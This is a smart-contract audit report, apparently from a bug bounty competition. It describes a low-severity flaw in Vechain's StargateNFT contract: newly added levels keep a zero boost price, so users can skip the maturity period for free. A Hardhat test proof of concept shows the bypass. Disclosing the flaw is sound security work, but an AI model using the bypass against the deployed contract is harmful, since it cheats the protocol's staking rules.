59841 sc low the newly added level cannot have its boost price set because the updatelevelboostpriceperblock function is not exposed

Submitted on Nov 16th 2025 at 10:01:13 UTC by @shaflow1 for Audit Comp | Vechain | Stargate Hayabusa

• Report ID: #59841

• Report Type: Smart Contract

• Report severity: Low

• Target: https://github.com/immunefi-team/audit-comp-vechain-stargate-hayabusa/tree/main/packages/contracts/contracts/StargateNFT/StargateNFT.sol

Description

Brief/Intro

In the StargateNFT contract, the LEVEL_OPERATOR_ROLE is allowed to call addLevel to add new levels. However, since the updateLevelBoostPricePerBlock function is not exposed, the newly added level cannot have its BoostPricePerBlock set. As a result, users can bypass the maturity period for free and start delegating immediately.

Vulnerability Details

The addLevel function is implemented as follows:

/// @inheritdoc IStargateNFT
function addLevel(
    DataTypes.LevelAndSupply memory _levelAndSupply
) public onlyRole(LEVEL_OPERATOR_ROLE) {
    Levels.addLevel(_getStargateNFTStorage(), _levelAndSupply);
}

LEVEL_OPERATOR_ROLE can call addLevel to add a new level. This function sets the level’s cap, level data, and circulating supply, but it does not set the boostPricePerBlock.

In the library, the updateLevelBoostPricePerBlock function used to update boostPricePerBlock is only called during the V3 contract initialization. After that, it cannot be invoked. As a result, no one is able to set the boostPricePerBlock for newly added levels.

Reference lines:

• StargateNFT addLevel: https://github.com/immunefi-team/audit-comp-vechain-stargate-hayabusa/blob/e9c0bc9b0f24dc0c44de273181d9a99aaf2c31b0/packages/contracts/contracts/StargateNFT/StargateNFT.sol#L302

• Levels library reference: https://github.com/immunefi-team/audit-comp-vechain-stargate-hayabusa/blob/e9c0bc9b0f24dc0c44de273181d9a99aaf2c31b0/packages/contracts/contracts/StargateNFT/libraries/Levels.sol#L180

Impact Details

For newly added levels, boostPricePerBlock is always zero, so users can call the boost function to skip the maturity period for free.

Proof of Concept

Test PoC (click to expand)

it("add new level", async () => {
    const levelOperator = otherAccounts[3];

    // grant role
    const grantTx = await stargateNFTContract.grantRole(
        await stargateNFTContract.LEVEL_OPERATOR_ROLE(),
        levelOperator.address
    );
    await grantTx.wait();

    // current level ids
    const currentLevelIds = await stargateNFTContract.getLevelIds();
    const expectedNewLevelId = currentLevelIds[currentLevelIds.length - 1] + 1n;

    // new level data
    const newLevel = {
        level: {
            id: 26, // placeholder
            name: "Boost Test Level",
            isX: false,
            vetAmountRequiredToStake: ethers.parseEther("1234"),
            scaledRewardFactor: 200,
            maturityBlocks: 50,
        },
        cap: 1000,
        circulatingSupply: 0,
    };

    // add level
    const tx = await stargateNFTContract.connect(levelOperator).addLevel(newLevel);
    await tx.wait();

    // query boost price
    const price = await stargateNFTContract.boostPricePerBlock(expectedNewLevelId);

    console.log("Boost price =", price);
    // Mint a level-26 NFT
    const staker = otherAccounts[4];
    const stakeTx = await stargateContract.connect(staker).stake(expectedNewLevelId, {
        value: newLevel.level.vetAmountRequiredToStake,
    });
    await stakeTx.wait();

    const tokenId = await stargateNFTContract.tokenOfOwnerByIndex(staker.address, 0);

    const boostBefore = await stargateNFTContract.boostAmount(tokenId);
    expect(boostBefore).to.equal(0n);

    const maturityBefore = await stargateNFTContract.maturityPeriodEndBlock(tokenId);
    console.log("Maturity period end before boost:", maturityBefore.toString());

    await stargateNFTContract.connect(staker).boost(tokenId);

    const maturityAfter = await stargateNFTContract.maturityPeriodEndBlock(tokenId);
    console.log("Maturity period end after boost:", maturityAfter.toString());
});

To run the test, add the code to the end of describe("Add level", () => { in the file packages/contracts/test/unit/StargateNFT/Levels.test.ts.

The test verifies that the newly added level cannot have its boostPricePerBlock set, allowing users to skip the maturity period for free.